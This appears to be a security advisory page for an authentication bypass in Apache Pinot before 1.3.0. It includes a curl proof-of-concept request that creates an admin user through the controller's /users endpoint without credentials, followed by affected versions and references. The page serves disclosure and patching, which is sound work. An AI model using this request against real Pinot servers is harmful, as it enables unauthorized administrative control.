Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required
Description
Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
Malicious Request and Response Example
curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.
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Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
org.apache.pinot:pinot-brokerMaven | < 1.3.0 | 1.3.0 |
org.apache.pinot:pinot-commonMaven | < 1.3.0 | 1.3.0 |
org.apache.pinot:pinot-controllerMaven | < 1.3.0 | 1.3.0 |
Affected products
4- ghsa-coords3 versionspkg:maven/org.apache.pinot/pinot-brokerpkg:maven/org.apache.pinot/pinot-commonpkg:maven/org.apache.pinot/pinot-controller
< 1.3.0+ 2 more
- (no CPE)range: < 1.3.0
- (no CPE)range: < 1.3.0
- (no CPE)range: < 1.3.0
- Apache Software Foundation/Apache Pinotv5Range: 0
Patches
Vulnerability mechanics
References
7- github.com/advisories/GHSA-6jwp-4wvj-6597ghsaADVISORY
- lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8vghsavendor-advisoryWEB
- nvd.nist.gov/vuln/detail/CVE-2024-56325ghsaADVISORY
- www.openwall.com/lists/oss-security/2025/03/27/8ghsaWEB
- github.com/apache/pinot/commit/1b87488aeaf4836e3ef25b426ebbf1ad5a68e68fghsaWEB
- github.com/apache/pinot/pull/14383ghsaWEB
- github.com/apache/pinot/releases/tag/release-1.3.0ghsaWEB
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